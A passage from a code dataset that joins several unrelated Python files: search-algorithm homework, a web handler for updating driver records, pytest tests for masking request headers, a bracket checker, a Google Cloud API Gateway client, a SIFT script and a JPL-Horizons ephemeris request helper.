{}\".format(sorted(state), sorted(self.goal)))\n        return sorted(state) == sorted(self.goal)\n\n\n    def h(self, node):\n        \"Computes the MST given the partial tour already completed\"\n        # make sure to include the initial state in the MST, it must be revisited\n\n        node_conn = {self.initial[0] : set(self.initial[0]),}\n        search_set = set(self.initial[0])\n        search_list = list(self.initial[0])\n\n        for elem in self.graph.nodes():\n            if elem not in node.state:\n                node_conn.update({elem : set(elem)})\n                search_set.add(elem)\n                search_list.append(elem)\n\n        if len(search_list) == 1:\n            return 0\n\n        edges = []\n        for i in range(0, len(search_list)):\n            for j in range(i+1, len(search_list)):\n                temp_tup = (self.graph.get(search_list[i], search_list[j]), search_list[i], search_list[j])\n                edges.append(temp_tup)\n        edges = sorted(edges)\n\n        mst = set()\n        to_ret = 0\n\n        node_conn[edges[0][1]].update(node_conn[edges[0][2]])\n        node_conn[edges[0][2]].update(node_conn[edges[0][1]])\n        mst.update(node_conn[edges[0][1]])\n        to_ret += edges[0][0]\n\n        while search_set != mst:\n            for i in range(1, len(edges)):\n                if edges[i][1] not in mst or edges[i][2] not in mst:\n                    to_ret += edges[i][0]\n                    # add connections\n                    node_conn[edges[i][1]].update(node_conn[edges[i][2]])\n                    node_conn[edges[i][2]].update(node_conn[edges[i][1]])\n\n                    if mst & node_conn[edges[i][1]]:\n                        mst.update(node_conn[edges[i][1]])\n\n        return to_ret\n\n# ______________________________________________________________________________\n\n\n# Main method for HW2\nif __name__ == \"__main__\":\n\n    print(\"\\nEight Puzzle Problem:\\n\")\n\n    astarEightPuzzle = [0, 0, 0]\n    rbfsEightPuzzle = [0, 0, 0]\n\n    # for special heuristic (random value added)\n    rbfsSpecialEightPuzzle = [0, 0, 0]\n\n    trials = 1\n\n    for trial in range(0,trials):\n\n        initial_list = list(range(0,9))\n        random.shuffle(initial_list)\n        while check_solvable(initial_list) != True:\n            # print(\"Not Solvable:\"), print_puzzle(initial_list)\n            random.shuffle(initial_list)\n\n        initial = tuple(initial_list)\n        print(\"Trial {}:\\n\".format(trial+1))\n        print_puzzle(initial)\n        eight_puzzle = EightPuzzleProblem(initial)\n\n        result1, path1, size1, time1 = astar_search(eight_puzzle, ManhattanDistance)\n        result2, path2, size2, time2 = recursive_best_first_search(eight_puzzle, ManhattanDistance)\n\n        result3, path3, size3, time3 = recursive_best_first_search(eight_puzzle, ManhattanDistanceSpecial)\n\n        print(\"A* Search\\n\\tPath: {}\\n\\tCost: {}\\n\".format(result1, path1))\n        print(\"RBFS\\n\\tPath: {}\\n\\tCost: {}\\n\".format(result2, path2))\n        print(\"RBFS Special(Random Value added to Heuristic)\\n\\tPath: {}\\n\\tCost: {}\\n\".format(result3, path3))\n\n\n        astarEightPuzzle[0] += path1\n        astarEightPuzzle[1] += size1\n        astarEightPuzzle[2] += time1\n\n        rbfsEightPuzzle[0] += path2\n        rbfsEightPuzzle[1] += size2\n        rbfsEightPuzzle[2] += time2\n\n        rbfsSpecialEightPuzzle[0] += path3\n        rbfsSpecialEightPuzzle[1] += size3\n        rbfsSpecialEightPuzzle[2] += time3\n\n    # compute average\n\n    for i in range(0, len(astarEightPuzzle)):\n        astarEightPuzzle[i] /= trials\n\n    for i in range(0, len(rbfsEightPuzzle)):\n        rbfsEightPuzzle[i] /= trials\n\n    for i in range(0, len(rbfsSpecialEightPuzzle)):\n        rbfsSpecialEightPuzzle[i] /= trials\n\n    print(\"Eight Puzzle Total Trials: {}\\n\".format(trials))\n    print(\"A* Average Results:\\n\\tPath Cost: {}\\n\\tSize: {}\\n\\tTime: {}s\\n\".format(astarEightPuzzle[0], astarEightPuzzle[1], astarEightPuzzle[2]))\n    print(\"RBFS Average Results:\\n\\tPath Cost: {}\\n\\tSize: {}\\n\\tTime: {}s\\n\".format(rbfsEightPuzzle[0], rbfsEightPuzzle[1], rbfsEightPuzzle[2]))\n    print(\"RBFS Special Average Results:\\n\\tPath Cost: {}\\n\\tSize: {}\\n\\tTime: {}s\\n\".format(rbfsSpecialEightPuzzle[0], rbfsSpecialEightPuzzle[1], rbfsSpecialEightPuzzle[2]))\n\n    print(\"\\nTravelling Salesman Problem:\\n\")\n\n\n    astarTSP = [0, 0, 0]\n    rbfsTSP = [0, 0, 0]\n\n\n    for trial in range(0, trials):\n\n\n        # generate random graph\n        # tsp_problem = TSP('A', tsp_map)\n        tsp_map = random_tsp_map()\n\n        start = chr(ord('A')+random.randint(0, 25))\n        while start not in tsp_map.nodes():\n            start = chr(ord('A') + random.randint(0, 25))\n\n        print(\"Trial {}:\\n\\nGraph:\".format(trial+1))\n        print(\"\\n\".join(\"{}: {}\".format(x, y) for x, y in tsp_map.dict.items()))\n        print()\n\n        tsp_problem = TSP(start, tsp_map)\n\n        result1, path1, size1, time1 = astar_search(tsp_problem)\n        result2, path2, size2, time2 = recursive_best_first_search(tsp_problem)\n\n        print(\"A* Search\\n\\tPath: {}\\n\\tCost: {}\\n\".format(result1, path1))\n        print(\"RBFS\\n\\tPath: {}\\n\\tCost: {}\\n\".format(result2, path2))\n\n        astarTSP[0] += path1\n        astarTSP[1] += size1\n        astarTSP[2] += time1\n\n        rbfsTSP[0] += path2\n        rbfsTSP[1] += size2\n        rbfsTSP[2] += time2\n\n\n    for i in range(0, len(astarTSP)):\n        astarTSP[i] /= trials\n\n    for i in range(0, len(rbfsTSP)):\n        rbfsTSP[i] /= trials\n\n\n    print(\"TSP Total Trials: {}\\n\".format(trials))\n    print(\"A* Average Results:\\n\\tPath Cost: {}\\n\\tSize: {}\\n\\tTime: {}s\\n\".format(astarTSP[0], astarTSP[1], astarTSP[2]))\n    print(\"RBFS Average Results:\\n\\tPath Cost: {}\\n\\tSize: {}\\n\\tTime: {}s\\n\".format(rbfsTSP[0], rbfsTSP[1], rbfsTSP[2]))\n    print()\n\n# fin\n\n\n","sub_path":"search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":24042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"40006870","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\nimport webapp2\r\nimport json\r\nfrom Driver             \t\t\timport Driver\r\nfrom Mongo\t\t\t\t\t\t\timport Mongo\r\nfrom ActivityLog.ActivityLog\t\timport ActivityLog\r\nfrom VL_Responses \t    \t\t\timport VL_Responses\r\nfrom VL_Validator \t\t\t\t\timport VL_Validator\r\n\r\nclass Driver_Update(webapp2.RequestHandler):\r\n\r\n\tdb \t\t\t\t\t\t= Mongo().getDB()\r\n\tdriver\t\t\t\t\t= Driver()\r\n\tdriver \t= Driver()\r\n\tactivityLog\t\t\t\t= ActivityLog()\r\n\tresponses\t\t\t\t= VL_Responses()\r\n\tvalidator\t\t\t\t= VL_Validator()\r\n\turlPath\t\t\t\t\t= \"/Driver/Update\"\r\n\r\n\tdef get(self):\r\n\t\tself.response.write(\"Driver/Update GET\")\r\n\r\n\tdef post(self):\r\n\r\n\t\t#Response Object\r\n\t\tresponseObject \t\t\t\t\t= {}\r\n\t\tresponseObject[\"status\"] \t\t= \"BAD\"\t#Status of the response to the Driver\r\n\t\tresponseObject[\"description\"]\t= \"\"\t#Text description\r\n\r\n\t\t#Validate the session\r\n\t\tif not self.validator.isLoginOkOnRoute({\r\n\t\t\t\"loginID\":self.request.get(\"sessionID\"),\r\n\t\t\t\"skey\":self.request.get(\"token\"),\r\n\t\t\t\"urlPath\":self.urlPath\r\n\t\t}):\r\n\r\n\t\t\tself.responses.unauthorizedResponse(self.response)\r\n\r\n\t\telse:\r\n\r\n\t\t\tmongoID = self.validator.validate(self.request.get(\"id\"), datatype=\"MongoID\", required=True, fieldname=\"id\")[1]\r\n\r\n\t\t\tif mongoID:\r\n\r\n\t\t\t\t#Update object dict\r\n\t\t\t\tdataDict = {}\r\n\r\n\t\t\t\tif self.request.get(\"name\"): \t\t\t\tdataDict['name'] \t\t\t\t= self.validator.validate(self.request.get(\"name\"), datatype=\"String\", required=True, fieldname=\"name\")\r\n\t\t\t\tif self.request.get(\"lastName\"):\t\t\tdataDict['lastName']\t\t\t= self.validator.validate(self.request.get(\"lastName\"), datatype=\"String\", required=True, fieldname=\"lastName\")\r\n\t\t\t\tif self.request.get(\"birthDate\"):\t\t\tdataDict['birthDate'] \t\t\t= self.validator.validate(self.request.get(\"birthDate\"), datatype=\"String\", required=False, fieldname=\"birthDate\")\r\n\t\t\t\tif self.request.get(\"homePhone\"):\t\t\tdataDict['homePhone'] \t\t\t= self.validator.validate(self.request.get(\"homePhone\"), datatype=\"String\", required=True, fieldname=\"homePhone\")\r\n\t\t\t\tif self.request.get(\"cellphone\"):\t\t\tdataDict['cellphone'] \t\t\t= self.validator.validate(self.request.get(\"cellphone\"), datatype=\"String\", required=True, fieldname=\"cellphone\")\r\n\t\t\t\tif self.request.get(\"address\"):\t\t\t\tdataDict['address'] \t\t\t= self.validator.validate(self.request.get(\"address\"), datatype=\"String\", required=True, fieldname=\"address\")\r\n\t\t\t\tif self.request.get(\"hireDate\"):\t\t\tdataDict['hireDate'] \t\t\t= self.validator.validate(self.request.get(\"hireDate\"), datatype=\"Date\", required=True, fieldname=\"hireDate\")\r\n\t\t\t\tif self.request.get(\"baseSalary\"):\t\t\tdataDict['baseSalary'] \t\t\t= self.validator.validate(self.request.get(\"baseSalary\"), datatype=\"Float\", required=True, fieldname=\"baseSalary\")\r\n\t\t\t\tif self.request.get(\"salaryType\"):\t\t\tdataDict['salaryType'] \t\t\t= self.validator.validate(self.request.get(\"salaryType\"), datatype=\"String\", required=True, fieldname=\"salaryType\")\r\n\t\t\t\tif self.request.get(\"isDriver\"):\t\t\tdataDict['isDriver'] \t\t\t= self.validator.validate(self.request.get(\"isDriver\"), datatype=\"Bool\", required=True, fieldname=\"isDriver\")\r\n\t\t\t\tif self.request.get(\"photo\"):\t\t\t\tdataDict['photo'] \t\t\t\t= self.validator.validate(self.request.get(\"photo\"), datatype=\"String\", required=False, fieldname=\"photo\")\r\n\t\t\t\tif self.request.get(\"ifePDF\"):\t\t\t\tdataDict['ifePDF']\t\t\t\t= self.validator.validate(self.request.get(\"ifePDF\"), datatype=\"String\", required=False, fieldname=\"ifePDF\")\r\n\t\t\t\tif self.request.get(\"studiesProofPDF\"):\t\tdataDict['studiesProofPDF']\t\t= self.validator.validate(self.request.get(\"studiesProofPDF\"), datatype=\"String\", required=False, fieldname=\"studiesProofPDF\")\r\n\t\t\t\tif self.request.get(\"contractPDF\"):\t\t\tdataDict['contractPDF']\t\t\t= self.validator.validate(self.request.get(\"contractPDF\"), datatype=\"String\", required=False, fieldname=\"contractPDF\")\r\n\t\t\t\tif self.request.get(\"resumePDF\"):\t\t\tdataDict['resumePDF'] \t\t\t= self.validator.validate(self.request.get(\"resumePDF\"), datatype=\"String\", required=False, fieldname=\"resumePDF\")\r\n\t\t\t\tif self.request.get(\"birthCertificatePDF\"):\tdataDict['birthCertificatePDF']\t= self.validator.validate(self.request.get(\"birthCertificatePDF\"), datatype=\"String\", required=False, fieldname=\"birthCertificatePDF\")\r\n\t\t\t\tif self.request.get(\"proofOfResidencyPDF\"):\tdataDict['proofOfResidencyPDF'] = self.validator.validate(self.request.get(\"proofOfResidencyPDF\"), datatype=\"String\", required=False, fieldname=\"proofOfResidencyPDF\")\r\n\t\t\t\tif self.request.get(\"socialSecurityPDF\"):\tdataDict['socialSecurityPDF'] \t= self.validator.validate(self.request.get(\"socialSecurityPDF\"), datatype=\"String\", required=False, fieldname=\"socialSecurityPDF\")\r\n\t\t\t\tif self.request.get(\"curpPDF\"):\t\t\t\tdataDict['curpPDF'] \t\t\t= self.validator.validate(self.request.get(\"curpPDF\"), datatype=\"String\", required=False, fieldname=\"curpPDF\")\r\n\t\t\t\tif self.request.get(\"criminalRecordsPDF\"):\tdataDict['criminalRecordsPDF'] \t= self.validator.validate(self.request.get(\"criminalRecordsPDF\"), datatype=\"String\", required=False, fieldname=\"criminalRecordsPDF\")\r\n\t\t\t\tif self.request.get(\"description\"):\t\t\tdataDict['description']\t\t\t= self.validator.validate(self.request.get(\"description\"), datatype=\"String\", required=False, fieldname=\"description\")\r\n\t\t\t\tif self.request.get(\"imss\"):\t\t\t\tdataDict['imss']\t\t\t\t= self.validator.validate(self.request.get(\"imss\"), datatype=\"Bool\", required=False, fieldname=\"imss\")\r\n\t\t\t\tif self.request.get(\"vehicleID\"):\t\t\tdataDict['vehicleID']\t\t\t= self.validator.validate(self.request.get(\"vehicleID\"), datatype=\"MongoID\", required=False, fieldname=\"vehicleID\")\r\n\t\t\t\tif self.request.get(\"status\"): \t\t\t\tdataDict['status']   \t\t\t= self.validator.validate(self.request.get(\"status\"), datatype=\"String\", required=False, fieldname=\"status\")\r\n\r\n\t\t\t\t#Validation\r\n\t\t\t\tvalidation = self.validator.validateDataDict(dataDict)\r\n\r\n\t\t\t\t#Check all params are sent\r\n\t\t\t\tif not validation and dataDict.keys() > 0:\r\n\r\n\t\t\t\t\t#Update object in mongoDB\r\n\t\t\t\t\tself.driver.update(mongoID, dataDict)\r\n\t\t\t\t\tself.db[\"ClientScheduledService\"].update({\"vehicleID\":dataDict['vehicleID']},{\"$set\":{\"driverID\":mongoID}},upsert=False, multi=True)\r\n\t\t\t\t\t#create activity log\r\n\t\t\t\t\t#self.activityLog.create()\r\n\t\t\t\t\tresponseObject[\"status\"] = \"OK\"\r\n\r\n\t\t\t\telse:\r\n\t\t\t\t\t#Not all paremeters were sent\r\n\t\t\t\t\tresponseObject[\"description\"] = \"Incomplete parameters.\"\r\n\t\t\telse:\r\n\t\t\t\tresponseObject[\"description\"] = \"Invalid mongoID.\"\r\n\r\n\t\t\t#Finally end response with JSON\r\n\t\t\tself.responses.endJSONResponse(self.request, self.response, responseObject)\r\n","sub_path":"readme/Backend/Driver/Driver_Update.py","file_name":"Driver_Update.py","file_ext":"py","file_size_in_byte":6427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"82051529","text":"import pytest\nimport requests\n\nfrom scanapi.settings import SETTINGS\nfrom tests.unit.factories import ReporterFactory\n\n\nclass TestReporter:\n    @pytest.fixture\n    def response(self, requests_mock):\n        requests_mock.request(\n            \"get\",\n            \"http://123-fake-api.com\",\n            headers={\"Authorization\": \"abc\", \"Token\": \"123\"},\n        )\n\n        return requests.request(\n            \"get\",\n            \"http://123-fake-api.com\",\n            headers={\"Authorization\": \"abc\", \"Token\": \"123\"},\n        )\n\n    @pytest.fixture\n    def req(self, response):\n        return response.request\n\n    @pytest.fixture\n    def responses(self, response):\n        return [response]\n\n    @pytest.fixture\n    def reporter(self):\n        return ReporterFactory()\n\n    class TestHideSensitiveInfo:\n        @pytest.fixture\n        def mock_hide_keys(self, mocker):\n            return mocker.patch(\"scanapi.reporter.Reporter.hide_keys\")\n\n        @pytest.fixture\n        def mock_hide_request_headers_info(self, mocker):\n            return mocker.patch(\"scanapi.reporter.Reporter.hide_request_headers_info\")\n\n        class TestWhenThereIsNoHideKeys:\n            def test_doesnt_call_hide_request_headers_info(\n                self,\n                reporter,\n                responses,\n                mock_hide_keys,\n                mock_hide_request_headers_info,\n            ):\n                mock_hide_keys.return_value = None\n                reporter.hide_headers_info(responses)\n                assert not mock_hide_request_headers_info.called\n\n        class TestWhenThereIsHideKey:\n            def test_calls_hide_request_headers_info(\n                self,\n                reporter,\n                responses,\n                mock_hide_keys,\n                mock_hide_request_headers_info,\n            ):\n                mock_hide_keys.return_value = [\"Authorization\"]\n                reporter.hide_headers_info(responses)\n                mock_hide_request_headers_info.assert_called_with(\n                    responses[0].request, [\"Authorization\"]\n                )\n\n    class TestHideRequestHeadersInfo:\n        class TestWhenThereIsNoHideSettings:\n            def test_doesnt_change_the_headers(self, reporter, req):\n                reporter.hide_request_headers_info(req, {})\n                assert req.headers[\"Authorization\"] == \"abc\"\n\n        class TestWhenThereAreHideSettings:\n            def test_changes_the_sensitive_headers(self, reporter, req):\n                hide_settings = [\"Authorization\"]\n                reporter.hide_request_headers_info(req, hide_settings)\n                assert req.headers[\"Authorization\"] == \"<sensitive_information>\"\n                assert req.headers[\"Token\"] == \"123\"\n\n        class TestWhenThereAreMultipleHideSettings:\n            def test_changes_the_sensitive_headers(self, reporter, req):\n                hide_settings = [\"Authorization\", \"Token\"]\n                reporter.hide_request_headers_info(req, hide_settings)\n                assert req.headers[\"Authorization\"] == \"<sensitive_information>\"\n                assert req.headers[\"Token\"] == \"<sensitive_information>\"\n\n    class TestHideKeys:\n        class TestWhenThereIsNoReportSettings:\n            def test_returns_none(self, reporter):\n                if SETTINGS.get(\"report\"):\n                    del SETTINGS[\"report\"]\n\n                assert reporter.hide_keys() is None\n\n        class TestWhenThereReportSettingsIsEmpty:\n            def test_returns_none(self, reporter):\n                SETTINGS[\"report\"] = {}\n\n                assert reporter.hide_keys() is None\n\n        class TestWhenThereIsNoHideSettings:\n            def test_returns_none(self, reporter):\n                SETTINGS[\"report\"] = {\"something\": \"else\"}\n\n                assert reporter.hide_keys() is None\n\n        class TestWhenThereAreHideSettingsButNoHeaders:\n            def test_returns_none(self, reporter):\n                SETTINGS[\"report\"][\"hide\"] = {\"something\": [\"else\"]}\n\n                assert reporter.hide_keys() is None\n\n        class TestWhenThereAreHideSettingsForNoHeaders:\n            def test_returns_none(self, reporter):\n                SETTINGS[\"report\"][\"hide\"] = {\"headers\": [\"Authorization\"]}\n\n                assert reporter.hide_keys() == [\"Authorization\"]\n","sub_path":"tests/unit/test_reporter.py","file_name":"test_reporter.py","file_ext":"py","file_size_in_byte":4278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"529925836","text":"def check(input_lst):\n\n    op = ['(', '[', '{']\n    cl = [')', ']', '}']\n    ans = 1\n    lst = []\n\n    for i in (input_lst):\n        if ((i == op[1]) | (i == op[2]) | (i == op[0]) | (i == cl[1]) | (i == cl[2]) | (i == cl[0])):\n                lst.append(i)\n    \n    if (len(lst) < 2):\n        return ans\n    \n    i = 0\n\n    while (len(lst) > 0):\n        \n        if ((lst[i] == cl[1]) | (lst[i] == cl[2]) | (lst[i] == cl[0])):\n            if (i == 0):\n                return ans;\n            \n            if ((i != 0) & (op.index(lst[i-1]) == cl.index(lst[i]))):\n                    lst.pop(i-1)\n                    lst.pop(i-1)\n                    i -= 2\n            \n            else:\n                    return ans;\n        ans += 1\n        i += 1\n\n    return 0\n\nstring = input()\nlst = []\n\nfor i in range(len(string)):\n    lst.append(string[i])\n\nres = check(lst)\n\nif (res == 0):\n    print(\"Success\")\nelse:\n    print(res)\n","sub_path":"1April19/skobs.py","file_name":"skobs.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"209915537","text":"# -*- coding: utf-8 -*- #\n# Copyright 2019 Google LLC. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Client for interaction with Api Config CRUD on API Gateway API.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom googlecloudsdk.api_lib.api_gateway import base\nfrom googlecloudsdk.command_lib.api_gateway import common_flags\n\n\nclass ApiConfigClient(base.BaseClient):\n  \"\"\"Client for Api Config objects on Cloud API Gateway API.\"\"\"\n\n  def __init__(self, client=None):\n    base.BaseClient.__init__(\n        self,\n        client=client,\n        message_base='ApigatewayProjectsLocationsApisConfigs',\n        service_name='projects_locations_apis_configs')\n    self.DefineGet()\n    self.DefineDelete()\n    self.DefineList('apiConfigs')\n    self.DefineUpdate('apigatewayApiConfig')\n\n  def Create(self, api_config_ref, rollout_id, display_name=None, labels=None,\n             backend_auth=None):\n    \"\"\"Creates an Api Config object.\n\n    Args:\n      api_config_ref: Resource, a resource reference for the api\n      rollout_id: Id of the service rollout\n      display_name: Optional display name\n      labels: Optional cloud labels\n      backend_auth: Optional field to set the service account for backend auth\n\n    Returns:\n      Long running operation\n    \"\"\"\n    labels = common_flags.ProcessLabelsFlag(\n        labels,\n        self.messages.ApigatewayApiConfig.LabelsValue)\n\n    service_rollout = self.messages.ApigatewayApiConfigManagedServiceRollout(\n        rolloutId=rollout_id)\n    backend_config = self.messages.ApigatewayBackendConfig(\n        googleServiceAccount=backend_auth)\n    gateway_config = self.messages.ApigatewayGatewayConfig(\n        backendConfig=backend_config)\n    api_config = self.messages.ApigatewayApiConfig(\n        name=api_config_ref.RelativeName(),\n        serviceRollout=service_rollout,\n        displayName=display_name,\n        labels=labels,\n        gatewayConfig=gateway_config)\n\n    req = self.create_request(\n        apiConfigId=api_config_ref.Name(),\n        apigatewayApiConfig=api_config,\n        parent=api_config_ref.Parent().RelativeName())\n\n    return self.service.Create(req)\n","sub_path":"Data/GoogleCloud/google-cloud-sdk/lib/googlecloudsdk/api_lib/api_gateway/api_configs.py","file_name":"api_configs.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"617893754","text":"import os\n\nfrom sift import SIFT\nfrom tqdm import tqdm\n\n###################### DEFINING DATA PATH ######################\n\n'''\n\n-> Please change the following paths.\n\n-> The \"writeImg\" option in sift.getPoints is to save images as processed\n   by the SIFT function. Please update the \"writeDir\" option to change the path\n   to save the processed images.\n\n'''\n\ndataDir = '../data'\ntrain_fldr = 'train_imgs1'\nresultFile = 'results.csv'\n\n###################### GETTING POINTS AND SAVING RESULTS ######################\n\nimgNames = os.listdir('{}/{}'.format(dataDir, train_fldr))\n\nsift = SIFT(alphaMin = 0.2, alphaMax = 0.45)\nsaveFile = open('{}/{}'.format(dataDir, resultFile), 'w')\n\nfor name in tqdm(imgNames[0:1]):\n    matchPoints = sift.getPoints('{}/{}/{}'.format(dataDir, train_fldr, name),\n                                 '{}/templates'.format(dataDir), writeImg=True,\n                                 writeDir='../data/results/')\n    saveFile.write(str(name) + ',' + str(matchPoints) + '\\n')\n\nsaveFile.close()\n","sub_path":"PythonScripts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"438110220","text":"\"\"\"\nUtilities for having JPL-Horizons ephemerides mailed to you.\nSee JPL_ephem_reader.py for doing something with them.\n\nExamples:\n\nimport recipes.ephemerides.request as jplreq\n\n# I recommend you not ask for more than ~18 months of anything with\n# date_incr ~ 1h, because the result would be split into multiple\n# emails which you would have to stitch together.\n\nfor thing in jplreq.asteroids.keys() + jplreq.planets_and_moons.keys():\n    jplreq.request_from_JPL(thing, '2012-12-31')\n\n# A trick to avoid fast moving objects:\nfor thing in jplreq.asteroids.keys() + jplreq.planets_and_moons.keys():\n    if thing not in jplreq.default_date_incrs:\n        jplreq.request_from_JPL(thing, '2012-12-31')\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nimport os\nimport re\nimport smtplib\nimport socket\nimport time\nfrom email.mime.text import MIMEText\n\n# Maps from object names to numbers that JPL-Horizons will recognize without\n# fussing around with choosing between barycenters, substrings, etc..\n# Use lower case keys.\n# Do not use keys for asteroids that are also in planets_and_moons.  (The IAU\n# might enforce this anyway.)\n#\n# They are numbered by order of discovery, which is not quite the same as size.\n\nasteroids = {'ceres':        1,\n             'pallas':       2,\n             'juno':         3, # Large crater and temperature changes.\n             'vesta':        4,\n             'astraea':      5,\n             'hygiea':      10, # Careful with the spelling.  It used to be\n                                # Hygeia, and it is named after the Greek\n                                # goddess Hygieia (or Hygeia).  Also, it is\n                                # fairly oblate and eccentric.\n             'parthenope':  11,\n             'victoria':    12,\n             'eunomia':     15,\n             'euphrosyne':  31,\n             '52 europa':   52,\n             'cybele':      65,\n             'sylvia':      87, # Has two moons.\n             'davida':     511,             \n             'interamnia': 704}\n\nplanets_and_moons = {'mercury':    199,\n                     'venus':      299,\n                     'moon':301,\n                     'mars':       499,\n                     'phobos':     401,\n                     'deimos':     402,\n                     'jupiter':    599,\n                     'io':         501,\n                     'europa':     502,\n                     'ganymede':   503,\n                     'callisto':   504,\n                     'saturn':     699,\n                     'mimas':      601,\n                     'enceladus':  602,\n                     'tethys':     603,\n                     'dione':      604,\n                     'rhea':       605,\n                     'titan':      606,\n                     'hyperion':   607,\n                     'iapetus':    608,\n                     'phoebe':     609,\n                     'janus':      610,\n                     'epimetheus': 611,\n                     'helene':     612,\n                     'telesto':    613,\n                     'calypso':    614,\n                     'atlas':      615,\n                     'prometheus': 616,\n                     'pandora':    617,\n                     'pan':        618,\n                     # I've been to Ymir, so I have a soft spot for it, but it\n                     # has an unknown radius (2010).\n                     #'ymir':       619, \n                     'uranus':     799,\n                     'ariel':      701,\n                     'umbriel':    702,\n                     'titania':    703,\n                     'oberon':     704,\n                     'miranda':    705,\n                     'cordelia':   706,\n                     'ophelia':    707,\n                     'bianca':     708,\n                     'cressida':   709,\n                     'desdemona':  710,\n                     'juliet':     711,\n                     'portia':     712,\n                     'rosalind':   713,\n                     'belinda':    714,\n                     'puck':       715,\n                     # 'caliban':    716, Uncertain radius, 2010.\n                     # 'sycorax':    717, Uncertain radius, 2010.\n                     # 'prospero':   718, Unknown radius, 2010\n                     # 'setebos':    719, Unknown radius, 2010\n                     # 'stephano':   720, Unknown radius, 2010\n                     # 'trinculo':   721, Unknown radius, 2010\n                     # 'francisco':  722, \"\n                     # 'margaret':   723, Unknown radius, 2010\n                     # 'ferdinand':  724, Unknown radius, 2010\n                     # 'perdita':    725, Unknown radius, 2010\n                     # 'mab':        726, Unknown radius, 2010\n                     # 'cupid':      727, \"\n                     'neptune':    899,\n                     'triton':     801,\n                     'nereid':     802,\n                     'naiad':      803,\n                     'thalassa':   804,\n                     'despina':    805,\n                     'galatea':    806,\n                     'larissa':    807,\n                     'proteus':    808,\n                     'pluto':      999,  # It's still a planet in this sense.\n                     'charon':     901\n                     # 'nix':        902 Unknown radius, 2010\n                     # 'hydra':      903 Unknown radius, 2010\n}\n\n# defaults \nshould_have_orientation = ['mars', 'deimos', 'phobos', 'vesta', 'jupiter', 'io',\n                           'janus', 'enceladus', 'mimas', 'iapetus',\n                           'phoebe', 'tethys', 'uranus', 'ariel', 'miranda',\n                           'neptune']\nshould_have_sublong = ['mars', 'deimos', 'phobos', 'jupiter', 'io',\n                       'janus', 'enceladus', 'phoebe', 'mimas', 'tethys',\n                       'neptune']\n\n# Getting positions once a day is not enough for many moons, if the position of\n# the moon relative to its primary will be needed.  Note that a maximum\n# suitable increment is imposed by Earth's motion.\ndefault_date_incrs = {\n    'default': \"1 d\",  # The default default.\n    'ariel': '0.5d',\n    'cordelia': '0.05d',\n    'deimos': '0.25d',\n    'dione': '0.5d',\n    'enceladus': '0.25d',\n    'io': '0.25d',\n    'janus': '0.1d',\n    'mimas': '0.2d',\n    'miranda': '0.25 d',\n    'phobos': '0.05d',\n    'tethys': '0.4d',\n    'moon': '1 h'\n    }\n\ndef request_from_JPL(objnam, enddate,\n                     startdate=None,\n                     date_incr=None,\n                     get_axis_orientation=None,\n                     get_axis_ang_orientation=None,\n                     get_sub_long=None,\n                     obsloc=\"\",\n                     return_address=None,\n                     mailserver=None,\n                     use_apparent=True,\n                     get_sep=None):\n    \"\"\"\n    Request an ASCII ephemeris table from JPL-Horizons for a Solar System\n    object.  If all goes well it should arrive by email in a few minutes to\n    an hour.  (The return value from this function is whether or not it sent\n    the request.)\n\n    All but the first two parameters have hopefully sensible defaults:\n    objnam:\n        The name of the object (case-insensitive).  It will be used to refer to\n        specifically its center, as opposed to other possible locations in the\n        vicinity of the object.  For example, if objnam =\"Mars\", it will choose\n        Mars, not the Mars barycenter or the Mars Reconnaissance Orbiter.\n    enddate:\n        The date that the ephemeris should end on.\n        It can be an epoch measure or string (yyyy-mm-dd, assumes UT).\n    startdate:\n        Defaults to today, but it can be specified like enddate.\n    date_incr:\n        The increment between dates in the ephemeris.  casapy's setjy\n        task and me tool automatically interpolate.  It can be a (time) quantity\n        or a string (which will be interpreted as if it were a quantity).\n        \n        Unlike the JPL email interface, this does not need it to be an integer\n        number of time units.  request_from_JPL() will do its best to convert\n        it to fit JPL's required format.\n        \n        Default: 1 Earth day.\n    get_axis_orientation:\n        Request the orientation of the object's polar axis relative to the line\n        of sight.  This is needed (along with the flattening) if treating the\n        disk as an ellipse, but it is often unavailable.\n        True or False\n        Defaults to whether or not objnam is in should_have_orientation.\n    get_axis_ang_orientation:\n        Request the angular orientation (position angle and angular distance from \n        sub-observer point) of the object's polar axis relative to the line\n        of sight.\n        True or False (by default it is included)\n    get_sub_long:\n        Request the planetographic (geodetic) longitudes and latitudes of the\n        subobserver and sub-Solar points.  Only needed if the object has\n        significant known surface features.\n        True or False\n        Defaults to whether or not objnam is in should_have_sublong.\n    obsloc:\n        Observatory name, used to get topocentric coordinates.\n        Obviously not all observatories are recognized.\n        Default: \"\" (geocentric)\n    return_address:\n        The email address that the ephemeris will be sent to.\n        Default: <username>@<domainname>.\n    mailserver:\n        The computer at _your_ end to send the mail from.\n        Default: a semi-intelligent guess.\n    use_apparent:\n        Get the apparent instead of J2000 RA and Dec.  No refraction by Earth's\n        atmosphere will be applied; MeasComet assumes apparent directions and\n        JPL_ephem_reader would be confused if both apparent and J2000\n        directions were present.\n        Default: True\n    get_sep:\n        Get the angular separation from the primary, and whether it is\n        transiting, in eclipse, etc..  This only makes 